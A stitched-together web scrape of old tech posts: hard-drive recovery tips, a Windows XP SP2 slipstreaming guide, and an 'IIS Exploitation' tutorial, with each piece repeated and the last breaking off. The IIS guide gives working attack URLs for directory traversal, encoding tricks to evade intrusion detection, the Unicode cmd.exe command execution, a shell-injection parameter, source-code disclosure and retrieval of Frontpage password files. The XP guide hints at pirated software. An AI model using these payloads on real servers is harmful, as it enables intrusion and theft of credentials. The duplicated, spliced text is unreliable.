symptomatic of further failures and you'd be wise to replace
the motherboard. Trying the drive in another machine also
eliminates the variable that your machines 12 volt power
output being bad
3. If you get head clatter but a constant velocity on the
drive motor (no surging), you might try sticking the hard
drive in the freezer for about 12 hours. This is an old trick
from back in the days of the MFM/ESDI driver era. This can
cause the drive components to shrink enough to make the track
marker align with the tracks. We don't see that kind of
platter spindle wear much anymore, but back in the old days,
the balancing and bearings weren't as good. Still, under the
right circumstances, it might help. It would depend on how old
the drive is and how many hours of wear have occurred. You
have to be quick to get your info off the drive when it works.
Back then, the drives were much smaller, so there wasn't so
much to copy. So, go after the important data first.
4. The drive doesn't spin. Either the onboard controller is
bad or the motor is bad (assuming you did try the drive in
another machine). It's time to hit the net and local
independent shops to see if you can locate another drive of
the same make and model that's good. Since the drive is
probably an older drive and no longer in distribution, your
best bet is to find an identical used drive. If you know
someone with the same make and model, you might be wise to try
and persuade them to sell you their drive with an offer of
providing them with a free upgraded drive. If you can locate
an identical drive, start with the controller replacement ...
this is the simplest and least invasive. If swapping the
controller doesn't produce the desire result, you can tear
into the drive and swap the motors. While you have both drive
opened up to accomplish this, scrutinize the platters, heads
and armatures. You might even hook the drive up and power it
from a system with both drives attached. This way, you could
see anything that deviates between the actions of both drives
when they are initialized. Swapping patters is unlikely to
produce any positive result. They are a balanced system like
the tires on your car and I suspect that the balance will be
different for each drive as will other variables.
5. There's always Ontrack Corp. who will attempt to recoup
your info starting at $500 and going up from there. They don't
fix and return the drive either.
If the info is all that important to you, I would seek some
professional and experience technician in your locality who
makes his living from servicing and building computer systems
... not just selling them. If you have had much experience
salvaging information from bad hard drives, your likelihood of
success is low. In the case of soft corruption, all utilities
have their eccentricities. Often times, Norton Disk Doctor
will go too far (if you let it). It's wise to just let those
utilities small steps and then have a look at the drive and
see if you can copy it off. Norton will go so far as to rename
directories and files, and even delete them or break them up
into fragments which are useless.
_________________
The most common problems originate
from corruption of the master boot record, FAT, or directory.
Those are soft problems which can usually be taken care of
with a combination of tools like Fdisk /mbr to refresh the
master boot record followed by a reboot and Norton disk doctor
or Spinneret.
The most common hardware problems are a bad controller, a bad
drive motor, or a bad head mechanism.
1. Can the BIOS see and identify the hard drive correctly? If
it can't, then the hard drives onboard controller is bad.
2. Does the drive spin and maintain a constant velocity? If it
does, that's good news. The motor is functioning.
3. If the drive surges and dies, the most likely cause is a
bad controller (assuming the drive is cool). A gate allowing
the current to drive the motor may not be staying open. The
drive needs a new controller.
4. Do you hear a lot of head clatter when the machine is
turned on and initialized (but before the system attempts to
access the hard drive). Head clatter would indicate that the
spindle bearings are sloppy or worn badly. Maybe even lose and
flopping around inside.
5. There is always the possibility that the controller you are
using in the machine has gone south.
1. If the drive spins, try booting to the A> prompt, run Fdisk
and check to see if Fdisk can see a partition on the hard
drive. If Fdisk can see the partition, that means that it can
access the drive and that the controller electronics are
functioning correctly. If there is no head clatter, it may be
just a matter of disk corruption which commonly occurs when a
surge hits you machine and overwhelms the power supply voltage
regulator. It commonly over whelms the system electronics
allowing an EM pulse to wipe out the master boot record, file
allocations table, and primary directory. Fdisk can fix the
master boot record and Norton Disk Doctor can restore the FAT
and Directory from the secondaries.
2. The drive spins but Fdisk can't see it. Try the drive in
another system and repeat the test to confirm that Fdisk can't
read through the drives onboard controller. If it sees it in
another system, then your machines hard drive interface is
bad. You can try an upgraded or replacement controller card
like a Promise or CMD Technologies (there are others) in you
machine after disabling the integrated controller in the BIOS,
but if the integrated controller went south, it may just be
symptomatic of further failures and you'd be wise to replace
the motherboard. Trying the drive in another machine also
eliminates the variable that your machines 12 volt power
output being bad
3. If you get head clatter but a constant velocity on the
drive motor (no surging), you might try sticking the hard
drive in the freezer for about 12 hours. This is an old trick
from back in the days of the MFM/ESDI driver era. This can
cause the drive components to shrink enough to make the track
marker align with the tracks. We don't see that kind of
platter spindle wear much anymore, but back in the old days,
the balancing and bearings weren't as good. Still, under the
right circumstances, it might help. It would depend on how old
the drive is and how many hours of wear have occurred. You
have to be quick to get your info off the drive when it works.
Back then, the drives were much smaller, so there wasn't so
much to copy. So, go after the important data first.
4. The drive doesn't spin. Either the onboard controller is
bad or the motor is bad (assuming you did try the drive in
another machine). It's time to hit the net and local
independent shops to see if you can locate another drive of
the same make and model that's good. Since the drive is
probably an older drive and no longer in distribution, your
best bet is to find an identical used drive. If you know
someone with the same make and model, you might be wise to try
and persuade them to sell you their drive with an offer of
providing them with a free upgraded drive. If you can locate
an identical drive, start with the controller replacement ...
this is the simplest and least invasive. If swapping the
controller doesn't produce the desire result, you can tear
into the drive and swap the motors. While you have both drive
opened up to accomplish this, scrutinize the platters, heads
and armatures. You might even hook the drive up and power it
from a system with both drives attached. This way, you could
see anything that deviates between the actions of both drives
when they are initialized. Swapping patters is unlikely to
produce any positive result. They are a balanced system like
the tires on your car and I suspect that the balance will be
different for each drive as will other variables.
5. There's always Ontrack Corp. who will attempt to recoup
your info starting at $500 and going up from there. They don't
fix and return the drive either.
If the info is all that important to you, I would seek some
professional and experience technician in your locality who
makes his living from servicing and building computer systems
... not just selling them. If you have had much experience
salvaging information from bad hard drives, your likelihood of
success is low. In the case of soft corruption, all utilities
have their eccentricities. Often times, Norton Disk Doctor
will go too far (if you let it). It's wise to just let those
utilities small steps and then have a look at the drive and
see if you can copy it off. Norton will go so far as to rename
directories and files, and even delete them or break them up
into fragments which are useless.
_________________
Guide to Slipstreaming Service Pack 2
DarkLegacy's Guide to Slipstreaming Service Pack 2
Note: All images are hosted with ImageShack.
• This guide will allow you to sucsessfully install Service Pack 2 on the original (gold) code of Microsoft Windows XP.
• The version of Windows you have purchased/downloaded does not matter as far as slipstreaming (they're all the same anyway).
Things you need:
• Microsoft Windows XP (duh :P)
• Service Pack 2:
URL http://download.microsoft.com/download/1/6/5/165b076b-aaa9-443d-84f0-73cf11fdcdf8/WindowsXP-KB835935-SP2-ENU.exe
• Windows XP Boot sector:
http://www.neowin.net/downloads/xpboot.bin
• Nero Burning Rom (find it on SoD)
Step One
Insert the Microsoft Windows XP CD into your CD-ROM drive, and create a new folder on your hard-drive labelled "CD".
Copy all of the files from the Windows XP CD to the "CD" folder.
Step Two
Download Service Pack 2 and place it within the root of your hard-drive.
Ex: C:\ D:\ etc..
Step Three
Go to Start -> Run and type in "F:\WindowsXP-KB835935-SP2-ENU.exe -s:F:\CD" (depending on where you put the folder)
The actual command is -s:drive:\folder
Step Four
The Service Pack 2 updater will automatically slipstream Service Pack 2 into your "CD" folder.
Step Five
If you browse back to the CD folder, you'll notice that new folders and files appeared from the SP2 update. At this point, you can include any software you wish onto this CD, but make sure that the size of the folder does not exceed the media you are burning on. If you're not sure, a regular CD is 700 megabytes.
Step Six
Go to Start and Search for files and folders. Go to all files and folders, and type in "wpa.dbl". This is the activation file for your current installed version of XP. Make a copy of the file and paste it into your CD folder.
Step Seven
Open up Nero Smartstart, and click on the icon that looks like two people. This turns the program into "professional mode". Search for create a bootable CD. Click on it, and make sure that your settings agree with the following picture; also make sure that you downloaded the Windows XP boot sector.
Step Eight
Continue onto the next tab, and make sure that your settings agree with the picture:
Step Nine
In this step, you can label your CD whatever the hell you want. I recommend WXPSP2_EN.
Step Ten
Go to "new" and locate your CD folder. Drag all of the files in the CD folder to the compilation window on the right, and nero will calculate how much disk space was used. If it exceeds 700 MB, get rid of some programs that you added to the CD. If you didn't add anything; just push burn.
Step Eleven
Make sure that your settings check with the picture:
Step Twelve
Just push burn, and that's it! Congradulations, you just made a bootable Win XP CD with SP2 slipstreamed!
Note: All images are hosted with ImageShack.
• This guide will allow you to sucsessfully install Service Pack 2 on the original (gold) code of Microsoft Windows XP.
• The version of Windows you have purchased/downloaded does not matter as far as slipstreaming (they're all the same anyway).
Things you need:
• Microsoft Windows XP (duh :P)
• Service Pack 2:
URL http://download.microsoft.com/download/1/6/5/165b076b-aaa9-443d-84f0-73cf11fdcdf8/WindowsXP-KB835935-SP2-ENU.exe
• Windows XP Boot sector:
http://www.neowin.net/downloads/xpboot.bin
• Nero Burning Rom (find it on SoD)
Step One
Insert the Microsoft Windows XP CD into your CD-ROM drive, and create a new folder on your hard-drive labelled "CD".
Copy all of the files from the Windows XP CD to the "CD" folder.
Step Two
Download Service Pack 2 and place it within the root of your hard-drive.
Ex: C:\ D:\ etc..
Step Three
Go to Start -> Run and type in "F:\WindowsXP-KB835935-SP2-ENU.exe -s:F:\CD" (depending on where you put the folder)
The actual command is -s:drive:\folder
Step Four
The Service Pack 2 updater will automatically slipstream Service Pack 2 into your "CD" folder.
Step Five
If you browse back to the CD folder, you'll notice that new folders and files appeared from the SP2 update. At this point, you can include any software you wish onto this CD, but make sure that the size of the folder does not exceed the media you are burning on. If you're not sure, a regular CD is 700 megabytes.
Step Six
Go to Start and Search for files and folders. Go to all files and folders, and type in "wpa.dbl". This is the activation file for your current installed version of XP. Make a copy of the file and paste it into your CD folder.
Step Seven
Open up Nero Smartstart, and click on the icon that looks like two people. This turns the program into "professional mode". Search for create a bootable CD. Click on it, and make sure that your settings agree with the following picture; also make sure that you downloaded the Windows XP boot sector.
Step Eight
Continue onto the next tab, and make sure that your settings agree with the picture:
Step Nine
In this step, you can label your CD whatever the hell you want. I recommend WXPSP2_EN.
Step Ten
Go to "new" and locate your CD folder. Drag all of the files in the CD folder to the compilation window on the right, and nero will calculate how much disk space was used. If it exceeds 700 MB, get rid of some programs that you added to the CD. If you didn't add anything; just push burn.
Step Eleven
Make sure that your settings check with the picture:
Step Twelve
Just push burn, and that's it! Congradulations, you just made a bootable Win XP CD with SP2 slipstreamed!
Guide to IIS Exploitation
***************************************************************************
* Guide to IIS Exploitation *
* by fugjostle *
* *
* V.1.0.1 *
* *
* Questions? Comments? Email: fugjostle at ch0wn.com *
***************************************************************************
Disclaimer: I do not condone hacking IIS servers in any way,
shape or form. This guide is intended as a guide
for admins to help them understand what most
script kiddies don't understand but are happy to
exploit.
--[On the first day, God created directory traversal]
Relative paths are the developers friend. They allow an entire website to
be moved to another directory without the need for changing all the links
in the html. For example, lets say we have a webpage called 'pictures.html'
in the htdocs dir:
Absolute path: /home/webpages/htdocs/pictures.html
Absolute path: /home/webpages/images/pic1.gif
In the html you can refer to the 'pic1.gif' via an absolute path shown
above or use a relative path:
Relative path: ../images/pic1.gif
The relative path tells the server that it has to go to the parent
directory (dot dot) --> from /home/webpages/htdocs to /home/webpages. Then
the server goes into the images dir and looks for the gif file to display.
Anyone who has used the 'cd' command in DOS and *nix should be familiar
with the operation. So what's the problem I hear you ask... well, the
programmers of web server didn't think to check the supplied URL to ensure
that the requested file was actually in the web directory. This allows
someone to backtrack through the servers directory structure and request
files that the web server has access to. For example,
http://www.target.com/../../../etc/passwd
NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):
http://www.target.com//....//....//...././etc/./passwd
The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS's
work for their money.
--[On the second day, God created Hexadecimal]
Once programmers started to realise the mistake they began to create parser
routines to check for naughty URL's and keep the requests within the
document root. Then along comes a wiley hacker who wonders if by encoding
the URL will it still be recognised by the parser routines.
You may have noticed that when you enter a URL that includes a space it is
replaced with the hex equivalent (%20):
http://www.target.com/stuff/my index.html
becomes
http://www.target.com/stuff/my%20index.html
and voila, it works. So what would happen if we changed the now denied URL:
http://www.target.com/../../../etc/passwd
to
http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd
The parser routine checks for the existence of dots in the path and finds
none... the webserver then proceeds with the request.
An interesting feature is that you can encode the hex symbol and the web
server will decode it all for you. This is called the "double decode".
For example, given the URL "http://victim.com/..%252f..%252fdocs/", the
following will take place:
(1) On the first decode, the string will be converted to:
"http://victim.com/..%2f..%2fdocs/"
[%25 = '%' so '%252f' is decoded to '%2f']
(2) On the second decode, the string will be converted to:
"http://victim.com/../../docs/"
[%2f = '/']
--[On the third day, God created Unicode]
The World Wide Web is a global phenomenon and as such needs to be globally
interoperable. This raised the question of how to deal with all the different
character sets around the world. As a response to this, Unicode was created:
-----------------------------------------------------------------
Unicode provides a unique number for every character, no matter
what the platform, no matter what the program, no matter what
the language. The Unicode Standard has been adopted by such
industry leaders as Apple, HP, IBM, JustSystem, Microsoft,
Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is
required by modern standards such as XML, Java, ECMAScript
(JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official
way to implement ISO/IEC 10646. It is supported in many operating
systems, all modern browsers, and many other products.
-----from http://www.unicode.org---------------------------------
The problem with Unicode is that it requires 16 bits for a single character
and software tended to use 8 bits for a single character. Unicode TransForm
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a
variable number of bytes can be used for each character:
Character 1-byte 2-byte 3-byte
. 2E C0 AE E0 80 AE
/ 2F C0 AF E0 80 AF
\ 5C C1 9C E0 81 9C
This lead to a new vulnerability in certain webservers. The parser didn't
understand this new encoding and allowed it through :-)
For example:
www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd
Recent vulnerabilities have been taking advantage of the fact that the web
server doesn't understand the Unicode UTF-8 character set but the underlying
OS does:
www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir
Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:
%uxxxx = Unicode
%xx%xx = UTF-8
%xx = Hexidecimal
%xxxx = Double Decode
--[On the fourth day, God created default installs]
IIS comes installed with various DLL's (Dynamic Link Libraries) that
increase the functionality of the web server. These ISAPI (Internet Server
API) applications allow programmers/developers to deliver more functionality
to IIS.
The DLL's are loaded into memory at startup and offer significant speed
over traditional CGI programs. For example, they can be combined with the
Internet Database Connector (httpodbc.dll) to create interactive sites that
use ODBC to access databases.
The problem is that some of these DLL's are insecure and are often installed
with sample scripts that demonstrate how to exploit, erm, I mean use them.
ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active
Server Pages) are basically HTML pages with embedded code that is processed
by the webserver before serving it to the client.
Here's some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]
/default.asp.
** Appending a '.' to the URL can reveal the source
** on older systems. Remember hex encoding? You can
** also try using %2e to do the same thing.
/msadc/samples/adctest.asp
** This gives you an interface into the msadcs.dll
** and allows creation of DSN's. Read RFP's stuff
** for idea's on how to exploit this.
/iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini
/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini
** You can view the source of anything in the
** document root. '/msadc/' needs to be in the
** request as it is checked for, wait for this,
** security :-)
/index.asp::$DATA
** Appending '::$DATA' to the URL can reveal
** the source of the ASP.
/index.asp%81
** Append a hex value between 0x81 and 0xfe
** and you can reveal the source of any server
** processed file. This only works on servers
** that are Chinese, Japanese or Korean.
/AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|
** This one allows you to execute remote
** shell commands ;-)
ISM.DLL is used to process requests that end in ".htr". These pages were used
to administer IIS3 servers. In IIS4 they are not used but various .htr samples
are installed by default anyway and offer another avenue for entry.
/index.asp%20%20%20..(220 more)..%20%20.htr
** IIS will redirect this request to ISM.DLL,
** which will strip the '.htr' extension and
** deliver the source code of the file.
/global.asa+.htr
** Does the same thing as the %20%20 exploit
** above. ISM.DLL strips the +.htr and delivers
** you the source of the file
/scripts/iisadmin/ism.dll?http/dir
** Excellent brute force opportunity if the
** dll exists. Successful logons will reveal
** lots of useful stuff.
/iisadmpwd/aexp.htr
** The iisadmpwd diectory contains several .htr
** files that allow NetBIOS resolution and
** password attacks.
/scripts/iisadmin/bdir.htr??c:\inetpub\www
** This method will only reveal directories
** but can be useful for identifying the
** servers structure for more advanced
** attacks later.
MSADCS.DLL is used to allow access to ODBC components via IIS using RDS
(Remote Data Service). RDS is part of the default install of Microsoft Data
Access Components (MDAC) and is a commonly exploited on IIS. It can allow
arbitrary shell commands to be executed with system privileges.
/msadc/msadcs.dll
** If this file exists then there's a pretty
** good chance that you can run the RDS
** exploit again the box. More on this later.
HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web
server wants to connect to a database. It allows the creation of web pages
from data in the database, and it allows you to update/delete items from
within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL
for processing.
/index.idc::$DATA
** Appending '::$DATA' to the URL can reveal
** the source of the IDC.
/anything.idc
** Requesting a non-existance file will
** reveal the location of the web root.
/scripts/iisadmin/tools/ctss.idc
** Creates a table based on the parameters it
** receives. Excellent place to look at for
** SQL injection.
SSINC.DLL is used for processing Server Side Includes (SSI). '.stm',
'.shtm' and '.shtml' extension are sent to the DLL which interprets
the SSI statements within the HTML before sending it to the client.
An example of SSI would be:
This SSI tells the server to include the 'news.txt' in the final HTML
sent to the use. SSI statements are beyond the scope of this document
but offer another security hole open to our wiley hax0r. Ensure you
remove the app mapping and disable SSI if you do not require its
functionality.
SSINC.DLL is also vulnerable to a remote buffer overflow, read the
following advisory for details:
http://www.nsfocus.com/english/homepage/sa01-06.htm
Some examples of SSINC.DLL fun:
/anything.stm
** If you request a file that doesn't exist
** then the server error message contains the
** the location of the web root.
/somedir/anything.stm/somedir/index.asp
** Using this method allows you to view the
** the source code for index.asp.
IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'
requests. This DLL has had some big exposure with the recent Nimda worm.
I'm not going into too much detail but '.ida' was used in a buffer
overflow that resulted in user defined code being executed on the server.
/anything.ida or /anything.idq
** Requesting a non-existance file will
** reveal the location of the web root.
/query.idq?CiTemplate=../../../boot.ini
** You can use this to read any file on
** the same drive as the web root
CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your
IIS server, via a web browser or the Web Publishing Wizard. The existance of
this DLL can allow attackers upload files to the server. Other files such as
uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site
Server and allow upload of documents to the server:
/scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp
** If this file is there then you may be able
** to upload files to the server.
/scripts/uploadn.asp
** Connecting to this page gives you a nice
** gui for uploading your own webpages. You
** probably need to brute the userid.
There are lots more example scripts in the default install and quite a few
of them are very, very insecure. Microsoft recommends that you remove ALL
samples from any production server including the ExAir, WSH, ADO and other
installed samples.
IIS Default Web Site
--------------------
IISSAMPLES - c:\inetpub\iissamples
IISADMIN - c:\winnt\system32\inetsrv\issadmin
IISHELP - c:\winnt\help
SCRIPTS - c:\inetpub\scripts
IISADMPWD - c:\winnt\systems32\inetsrv\iisadmpwd
msadc - c:\program files\common files\system\msadc
logfiles - c:\winnt\system32\logfiles
default.htm - c:\inetpub\wwwroot
IIS Default App Mapping
-----------------------
.asa - c:\winnt\system32\inetsrv\asp.dll
.asp - c:\winnt\system32\inetsrv\asp.dll
.cdx - c:\winnt\system32\inetsrv\asp.dll
.cer - c:\winnt\system32\inetsrv\asp.dll
.htr - c:\winnt\system32\inetsrv\ism.dll
.idc - c:\winnt\system32\inetsrv\httpodbc.dll
.shtm - c:\winnt\system32\inetsrv\ssinc.dll
.shtml - c:\winnt\system32\inetsrv\ssinc.dll
.stm - c:\winnt\system32\inetsrv\ssinc.dll
--[On the fifth day, God created Frontpage Extensions]
Microsoft Frontpage (Originally developed by Vermeer Tech Inc, if you've
ever wondered why they use _vti_) is a web design tool that helps you
create and maintain a web site and allows you to publish it to the web
server.
In order to publish using Frontpage the server needs to run certain
programs, collectively called the Frontpage Server Extensions.
Sounds good I hear you say, but there are many, many security holes in
Frontpage. You can list all the files, download password files and upload
your own files on Frontpage enabled sites.
When you publish a file, Frontpage attempts to read the following URL to
get all the information it needs to publish:
http://www.myserver.com/_vti_inf.html
Then Frontpage uses the following URL to POST the files to the site:
http://www.myserver.com/_vti_bin/shtml.exe/_vti_rpc
It will come as no surprise that this file is not protected and open to
abuse.
All information for the site is stored in the /_vti_pvt/ dir, and its world
readable. Here's some of the things you can look for:
http://www.myserver.com/_vti_pvt/administrators.pwd
http://www.myserver.com/_vti_pvt/authors.pwd
http://www.myserver.com/_vti_pvt/service.pwd
http://www.myserver.com/_vti_pvt/shtml.dll
http://www.myserver.com/_vti_pvt/shtml.exe
http://www.myserver.com/_vti_pvt/users.pwd
http://www.myserver.com/_private
--[On the sixth day, God created CGI]--
The Common Gateway Interface (CGI) is a standard for interfacing external
applications to the web server. A CGI program is excuted in real time and
is used to create dynamic web sites.
Generally, the CGI programs are kept in '/cgi-bin/' but can be placed
anywhere. The programs can be written most languages but typically they are
written in C, Perl or shell scripts.
Many sites will use freely available, downloadable scripts from places like
Matt's Trojan, erm, I mean Matt's Script Archive. Its always a good idea to
look through the source of the scripts for bad system calls and lax input
validation.
CGI deserves a tutorial all to itself and I strongly suggest that you read
the following tutorials... they explain it better than I ever could:
Hacking CGI - http://shells.cyberarmy.com/~johnr/docs/cgi/cgi.txt
Perl CGI Problems - http://www.phrack.com/phrack/55/P55-07
Just to get you in the mood we will have a brief look at CGI exploitation.
There are three main types of CGI hacking; URL encoding attacks, input
validation exploits and buffer overflows.
The first thing to keep in mind is that you are already able to exploit cgi
using the techniques from previous sections. First, we need to cover some
background. CGI can take lots of shapes and forms. One popular use is via
web based forms that submit information to a CGI via a GET or POST.
* Guide to IIS Exploitation *
* by fugjostle *
* *
* V.1.0.1 *
* *
* Questions? Comments? Email: fugjostle at ch0wn.com *
***************************************************************************
Disclaimer: I do not condone hacking IIS servers in any way,
shape or form. This guide is intended as a guide
for admins to help them understand what most
script kiddies don't understand but are happy to
exploit.
--[On the first day, God created directory traversal]
Relative paths are the developers friend. They allow an entire website to
be moved to another directory without the need for changing all the links
in the html. For example, lets say we have a webpage called 'pictures.html'
in the htdocs dir:
Absolute path: /home/webpages/htdocs/pictures.html
Absolute path: /home/webpages/images/pic1.gif
In the html you can refer to the 'pic1.gif' via an absolute path shown
above or use a relative path:
Relative path: ../images/pic1.gif
The relative path tells the server that it has to go to the parent
directory (dot dot) --> from /home/webpages/htdocs to /home/webpages. Then
the server goes into the images dir and looks for the gif file to display.
Anyone who has used the 'cd' command in DOS and *nix should be familiar
with the operation. So what's the problem I hear you ask... well, the
programmers of web server didn't think to check the supplied URL to ensure
that the requested file was actually in the web directory. This allows
someone to backtrack through the servers directory structure and request
files that the web server has access to. For example,
http://www.target.com/../../../etc/passwd
NB. you can also use double dots and double quotes. This is useful to evade
Intrusion Detection Systems (IDS):
http://www.target.com//....//....//...././etc/./passwd
The webserver simply strips the extra stuff out and processes the request.
This is the same as the previous example and can make string matching IDS's
work for their money.
--[On the second day, God created Hexadecimal]
Once programmers started to realise the mistake they began to create parser
routines to check for naughty URL's and keep the requests within the
document root. Then along comes a wiley hacker who wonders if by encoding
the URL will it still be recognised by the parser routines.
You may have noticed that when you enter a URL that includes a space it is
replaced with the hex equivalent (%20):
http://www.target.com/stuff/my index.html
becomes
http://www.target.com/stuff/my%20index.html
and voila, it works. So what would happen if we changed the now denied URL:
http://www.target.com/../../../etc/passwd
to
http://www.target.com/%2e%2e/%2e%2e/%2e%2e/etc/passwd
The parser routine checks for the existence of dots in the path and finds
none... the webserver then proceeds with the request.
An interesting feature is that you can encode the hex symbol and the web
server will decode it all for you. This is called the "double decode".
For example, given the URL "http://victim.com/..%252f..%252fdocs/", the
following will take place:
(1) On the first decode, the string will be converted to:
"http://victim.com/..%2f..%2fdocs/"
[%25 = '%' so '%252f' is decoded to '%2f']
(2) On the second decode, the string will be converted to:
"http://victim.com/../../docs/"
[%2f = '/']
--[On the third day, God created Unicode]
The World Wide Web is a global phenomenon and as such needs to be globally
interoperable. This raised the question of how to deal with all the different
character sets around the world. As a response to this, Unicode was created:
-----------------------------------------------------------------
Unicode provides a unique number for every character, no matter
what the platform, no matter what the program, no matter what
the language. The Unicode Standard has been adopted by such
industry leaders as Apple, HP, IBM, JustSystem, Microsoft,
Oracle,SAP, Sun, Sybase, Unisys and many others. Unicode is
required by modern standards such as XML, Java, ECMAScript
(JavaScript), LDAP, CORBA 3.0, WML, etc., and is the official
way to implement ISO/IEC 10646. It is supported in many operating
systems, all modern browsers, and many other products.
-----from http://www.unicode.org---------------------------------
The problem with Unicode is that it requires 16 bits for a single character
and software tended to use 8 bits for a single character. Unicode TransForm
using 8 bits (UTF-8) was created. This allows for multibyte encoding where a
variable number of bytes can be used for each character:
Character 1-byte 2-byte 3-byte
. 2E C0 AE E0 80 AE
/ 2F C0 AF E0 80 AF
\ 5C C1 9C E0 81 9C
This lead to a new vulnerability in certain webservers. The parser didn't
understand this new encoding and allowed it through :-)
For example:
www.target.com/%C0%AE%C0%AE/%C0%AE%C0%AE/%C0%AE%C0%AE/etc/passwd
Recent vulnerabilities have been taking advantage of the fact that the web
server doesn't understand the Unicode UTF-8 character set but the underlying
OS does:
www.target.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c%20dir
Understanding the distinction between Unicode and UTF-8 can be difficult. As
a general rule of thumb you can use the following format as a guide:
%uxxxx = Unicode
%xx%xx = UTF-8
%xx = Hexidecimal
%xxxx = Double Decode
--[On the fourth day, God created default installs]
IIS comes installed with various DLL's (Dynamic Link Libraries) that
increase the functionality of the web server. These ISAPI (Internet Server
API) applications allow programmers/developers to deliver more functionality
to IIS.
The DLL's are loaded into memory at startup and offer significant speed
over traditional CGI programs. For example, they can be combined with the
Internet Database Connector (httpodbc.dll) to create interactive sites that
use ODBC to access databases.
The problem is that some of these DLL's are insecure and are often installed
with sample scripts that demonstrate how to exploit, erm, I mean use them.
ASP.DLL is used to pre-process requests that end in ".asp". ASP (Active
Server Pages) are basically HTML pages with embedded code that is processed
by the webserver before serving it to the client.
Here's some examples to illustrate how the sample pages installed by default
can aid someone breaking into your site via the ASP.DLL:
[prefix all the examples with http://www.target.com]
/default.asp.
** Appending a '.' to the URL can reveal the source
** on older systems. Remember hex encoding? You can
** also try using %2e to do the same thing.
/msadc/samples/adctest.asp
** This gives you an interface into the msadcs.dll
** and allows creation of DSN's. Read RFP's stuff
** for idea's on how to exploit this.
/iissamples/exair/howitworks/codebrws.asp?source=/msadc/Samples/../../.../../../../boot.ini
/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../.../boot.ini
** You can view the source of anything in the
** document root. '/msadc/' needs to be in the
** request as it is checked for, wait for this,
** security :-)
/index.asp::$DATA
** Appending '::$DATA' to the URL can reveal
** the source of the ASP.
/index.asp%81
** Append a hex value between 0x81 and 0xfe
** and you can reveal the source of any server
** processed file. This only works on servers
** that are Chinese, Japanese or Korean.
/AdvWorks/equipment/catalog_type.asp?ProductType=|shell("cmd+/c+dir+c:\")|
** This one allows you to execute remote
** shell commands ;-)
ISM.DLL is used to process requests that end in ".htr". These pages were used
to administer IIS3 servers. In IIS4 they are not used but various .htr samples
are installed by default anyway and offer another avenue for entry.
/index.asp%20%20%20..(220 more)..%20%20.htr
** IIS will redirect this request to ISM.DLL,
** which will strip the '.htr' extension and
** deliver the source code of the file.
/global.asa+.htr
** Does the same thing as the %20%20 exploit
** above. ISM.DLL strips the +.htr and delivers
** you the source of the file
/scripts/iisadmin/ism.dll?http/dir
** Excellent brute force opportunity if the
** dll exists. Successful logons will reveal
** lots of useful stuff.
/iisadmpwd/aexp.htr
** The iisadmpwd diectory contains several .htr
** files that allow NetBIOS resolution and
** password attacks.
/scripts/iisadmin/bdir.htr??c:\inetpub\www
** This method will only reveal directories
** but can be useful for identifying the
** servers structure for more advanced
** attacks later.
MSADCS.DLL is used to allow access to ODBC components via IIS using RDS
(Remote Data Service). RDS is part of the default install of Microsoft Data
Access Components (MDAC) and is a commonly exploited on IIS. It can allow
arbitrary shell commands to be executed with system privileges.
/msadc/msadcs.dll
** If this file exists then there's a pretty
** good chance that you can run the RDS
** exploit again the box. More on this later.
HTTPODBC.DLL is the Internet Connector Database (IDC) and used when the web
server wants to connect to a database. It allows the creation of web pages
from data in the database, and it allows you to update/delete items from
within webpages. Pages with the extension '.idc' are sent to the HTTPODBC.DLL
for processing.
/index.idc::$DATA
** Appending '::$DATA' to the URL can reveal
** the source of the IDC.
/anything.idc
** Requesting a non-existance file will
** reveal the location of the web root.
/scripts/iisadmin/tools/ctss.idc
** Creates a table based on the parameters it
** receives. Excellent place to look at for
** SQL injection.
SSINC.DLL is used for processing Server Side Includes (SSI). '.stm',
'.shtm' and '.shtml' extension are sent to the DLL which interprets
the SSI statements within the HTML before sending it to the client.
An example of SSI would be:
This SSI tells the server to include the 'news.txt' in the final HTML
sent to the use. SSI statements are beyond the scope of this document
but offer another security hole open to our wiley hax0r. Ensure you
remove the app mapping and disable SSI if you do not require its
functionality.
SSINC.DLL is also vulnerable to a remote buffer overflow, read the
following advisory for details:
http://www.nsfocus.com/english/homepage/sa01-06.htm
Some examples of SSINC.DLL fun:
/anything.stm
** If you request a file that doesn't exist
** then the server error message contains the
** the location of the web root.
/somedir/anything.stm/somedir/index.asp
** Using this method allows you to view the
** the source code for index.asp.
IDQ.DLL is a component of MS Index Server and handles '.ida' and '.idq'
requests. This DLL has had some big exposure with the recent Nimda worm.
I'm not going into too much detail but '.ida' was used in a buffer
overflow that resulted in user defined code being executed on the server.
/anything.ida or /anything.idq
** Requesting a non-existance file will
** reveal the location of the web root.
/query.idq?CiTemplate=../../../boot.ini
** You can use this to read any file on
** the same drive as the web root
CPSHOST.DLL is the Microsoft Posting Acceptor. This allows uploads to your
IIS server, via a web browser or the Web Publishing Wizard. The existance of
this DLL can allow attackers upload files to the server. Other files such as
uploadn.asp, uploadx.asp, upload.asp and repost.asp are installed with Site
Server and allow upload of documents to the server:
/scripts/cpshost.dll?PUBLISH?/scripts/dodgy.asp
** If this file is there then you may be able
** to upload files to the server.
/scripts/uploadn.asp
** Connecting to this page gives you a nice
** gui for uploading your own webpages. You
** probably need to brute the userid.
